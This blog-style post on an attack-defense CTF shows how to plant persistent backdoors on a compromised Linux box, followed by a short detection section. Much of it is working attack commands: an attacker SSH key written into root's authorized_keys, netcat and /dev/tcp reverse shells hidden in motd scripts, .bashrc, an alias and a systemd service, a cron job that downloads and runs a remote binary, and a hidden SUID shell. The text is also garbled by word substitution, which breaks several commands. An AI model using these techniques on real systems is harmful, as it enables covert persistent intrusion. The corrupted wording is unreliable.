Linux Backdoors

Photograph by Dima Pechurin on Unsplash

In Attack-Defense CTF, leaving backdoors is an important part of maintaining admission on the target system. Every bit a result, learning some of the backdoor techniques is essential, not only for attackers only as well for defenders.

Backdoors, what is it?

Well, I'm non going to become into as much item as Wikipedia, merely here'due south:

A backstairs is a hidden piece of code, script, or a program that is placed on a arrangement for persistence purposes, with that y'all don't take to exploit the aforementioned system twice. Information technology simply gives you quicker and instant access to the arrangement.

At present that we know what a backdoor is, allow's observe out where the attackers typically hibernate them in a Linux system. For sit-in, I'll be using the Pinky'south Palace machine from VulnHub, and let'south pretend it's been compromised.

SSH authorized_keys file contains a list of authorized users/public keys that are immune to login into a specific business relationship. In this file, the attackers tin as well place their public keys to authorize themselves and become instant admission to the arrangement via SSH.

For case, below are the exploitation steps to gain root access on the target system (Pinky's Palace).

image-20210526004056632

Of course, as an attacker, I don't want to repeat all these exploitation steps all once again.

And so instead, on my attacking auto, I tin generate a new pair of SSH keys for backdoor purpose.

image-20210526004747293

The newly generated SSH public key (backdoor_ssh.pub) can be inserted into the root authorized_keys file of the compromised arrangement as a backdoor.

            mkdir -p /root/.ssh/              &&              echo              'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILaxTiK3WJJ422K1yf/9yXFWBeWV6mpZxMEualO2uIul root@kali'              > /root/.ssh/authorized_keys                      

Now by specifying backdoor_ssh as the identity file (private key), I'thou able to gain access on the compromised system via SSH.

image-20210526005156382

2. SSH motd

This is one of the absurd tricks I've learned from HackTheBox automobile called Traceback.

Motd (Message of the mean solar day) is the banner that appears when you log in to a machine using SSH. For Ubuntu/Debian motd scripts can exist constitute under /etc/update-motd.d/. Past default, other users don't have write permission on that directory.

image-20210526010220513

In the image to a higher place, there is but one motd script chosen 10-uname.

As an assaulter, I could identify a new script in that location as a backdoor. For example, I will put a netcat reverse shell script called 20-backdoor nether /etc/update-motd.d/.

            root@pinkys-palace:/etc/update-motd.d#              repeat              -due east              '#!/bin/sh\nnc 192.168.2.103 9001 -eastward /bin/bash &'              > 20-backdoor              &&              chmod +x xx-backdoor                      

Then I will setup a netcat listener and login into the compromised machine using a depression privilege business relationship named pinky.

image-20210526010934360

Equally you can see, that SSH login triggered my reverse trounce backstairs.

But look, I logged in using pinky. How did I end up with a root crush?

Here is the respond:

​ Executable scripts in /etc/update-motd.d/* are executed past pam_motd(8) as the root user at ​ each login, and this information is concatenated in /var/run/motd. The guild of script ​ execution is determined by the run-parts(viii) –lsbsysinit option (basically alphabetical ​ order, with a few caveats).

3. User's .bashrc - Interactive session

.bashrc is one of the startup scripts used by Bourne shell aka bash. If there is a user who uses bash as their login shell, then this .bashrc will be executed for each interactive session they launch.

Hither are some deportment that trigger interactive session:

image-20210526005325944

In the image above, I inserted a non malicious line script repeat "I'm triggered" to my .bashrc. But now, as an attacker, I tin can put a reverse shell there, and I will but expect for someone to log in to trigger it.

            pinky@pinkys-palace:~$              echo              'nc 192.168.2.103 9001 -eastward /bin/fustigate >/dev/null &'              > .bashrc                      

image-20210525220025256

four. User's .bashrc - Aliases

As an assailant, I can besides put the backdoor in the users' aliases!

Hither is an example of a backdoored cd command.

            root@pinkys-palace:~#              allonym              cd              =              '$(nc 192.168.ii.103 9001 -e /bin/fustigate&); cd'                      

image-20210526002305189

Here are some allonym backdoors:

  • https://github.com/nisay759/sudo-backdoor
  • https://gist.github.com/ahhh/1d4bf832c5a88cc75adb

5. Cron jobs

Cron is a feature from Linux/UNIX-like OS that tin can be used to periodically perform a specific job or chore only like Task Scheduler in Windows.

Here is an case of a backdoor using Cron chore.

            root@pinkys-palace:~#              echo              '* * * * * root cd /tmp; wget 192.168.2.103/backdoor && chmod +10 backdoor && ./backstairs'              > /etc/cron.d/backdoor                      

What the task higher up does is it volition download a malicious binary called 'backdoor' from my attacking machine, and the backdoor is and then executed once every minute.

image-20210625141344607

6. Backdoor every bit a Service

An attacker can likewise create a backdoor as a service (BaaS). Here is an instance of BaaS in a single file (backdoor.service):

            [Service] Type=unproblematic User=root ExecStart=/bin/bash -c "bash -i >& /dev/tcp/192.168.2.103/9001 0>&1" [Install] WantedBy=multi-user.target'                      

When the service is started, it launches a opposite shell to the aggressor.

            root@pinkys-palace:/etc/systemd/organization# systemctl offset backdoor.service                      

image-20210526013637397

It can be enabled on boot past issuing the post-obit command:

            root@pinkys-palace:/etc/systemd/system# systemctl              enable              backdoor.service                      

seven. SUID

The last 1 on this post is SUID. SUID allows other user to run an executable binary as the possessor of the executable.

As an case, I can make a copy of bash binary (owned by root) called .backdoor (notice the dot) with SUID permission set to a low privilege user who has been compromised.

image-20210526020936681

Why practise I add dot?

Some poeple tend to just use ls -fifty rather than ls -la, and this becomes an advantage for attackers to put a backdoor with a dot. It's not only about SUID though, information technology applies to other backdoors every bit well (out of topic but coughing and .git folder coughing).

Blue squad side

Before reading further, I'll state that if your server (irl) gets hacked, it'due south amend to restore the server's fill-in or completely rebuild it from scratch, because in the real world, those backdoors tin can exist obfuscated and combined with other techniques (not to mention there might be a rootkit likewise), making it hard to detect/find.

Also what I share hither might not be that constructive, but here is how I usually deal with those backdoors in attack-defense CTF.

SSH keys and .bashrc.

Make sure to regularly check the all the users authorized_keys file.

In the image below, there is a public key with a strange hostname kali instead of pinkys-palace, then we should suspect it.

image-20210605091730851

Well, actually, the attackers might have tricked it to wait similar information technology was a legitimate 1.

My workaround here is why don't we create a 'skeleton' file of all the authorized_keys files and set a Cronjob which automatically reverts these files back to its original state, and I might perform this remotely via scp. This tin exist practical equally well to handle backdoor in .bashrc .

You can observe the skeleton file of .bashrc at /etc/skel.

SSH motd

Information technology's not always placed under /etc/update-motd.d/, simply make certain the motd directory is only writable by root, note the default listing of motd files and apply the same affair every bit above (skeleton file) because the attackers might have inserted a backdoor in the original files.

We could besides do some 'forensics' using timestamp:

            root@MSI:/etc/update-motd.d# ls --full-time                      

For example, these files with the timestamp 000000000 (nano) in the image below have virtually likely non been modified and are still in their original state.

image-20210605092751344

After inserting a non-malicious line, the timestamp changed. From here, it's rubber to presume that someone/something has modified information technology.

image-20210605093121574

Cronjobs and Services

We tin monitor the process using netstat and ps command. Anything that looks like a program with unknown IP and a port supplied as its args (a reverse shell or a demark beat out) is definitely suspicious.

For this, we can look for any unwanted open ports using this command:

            $ netstat -antp              |              grep LISTEN                      

To find a suspicious connection we can use this control:

            $ netstat -antp              |              grep ESTABLISHED                      

image-20210526034616621

Sometimes the country of a reverse shell backdoor is neither ESTABLISHED nor LISTEN just SYN_SENT. This occurs when the backdoor neglect to achieve out the aggressor. To observe this nosotros can utilise the following command:

            $ netstat -antp              |              grep SYN_SENT                      

We could also check each user's crontab using the following commands:

            $              for              user in              $(true cat /etc/passwd              |              cut -f1 -d:              )              ;              do              echo              $user              ;              crontab -u              $user              -50;              done              # Simply users who accept login beat out              $              for              user in              $(cat /etc/passwd              |              grep sh$              |              cut -f1 -d:              )              ;              do              echo              $user              ;              crontab -u              $user              -l;              done                      

In that location is also the ps -f control which is pretty adept at visualizing the process tree. For example, hither nosotros know that the culprit that keeps opening the HTTPS port (443) is probably on .bashrc file considering it gets triggered every fourth dimension nosotros launch a bash shell (interactive session).

image-20210526034217561

If yous prefer the detailed view, consider to employ ps auxfww to show process tree with username, TTY, and a wide output.

Finding SUID

To discover some suspicious SUID nosotros can use the discover commands. It tin can besides detect the SUID that started with dot!

root@pinkys-palace:/etc/update-motd.d# find / -type f -perm 4755 2>/dev/goose egg

image-20210526035623660

[Update]

Pitiful for my stupidity, I forget to update this section.

Using -perm 4755, you volition not find a file with permissions ready to 4755, 4765, 4701, etc.

Nosotros can modify it to -perm -u=south, then it will always search for the SUID permission (the s/four function).

            $ find / -type f -perm -u=s 2>/dev/null                      

Okay, that's all in this post, I hope you lot like it.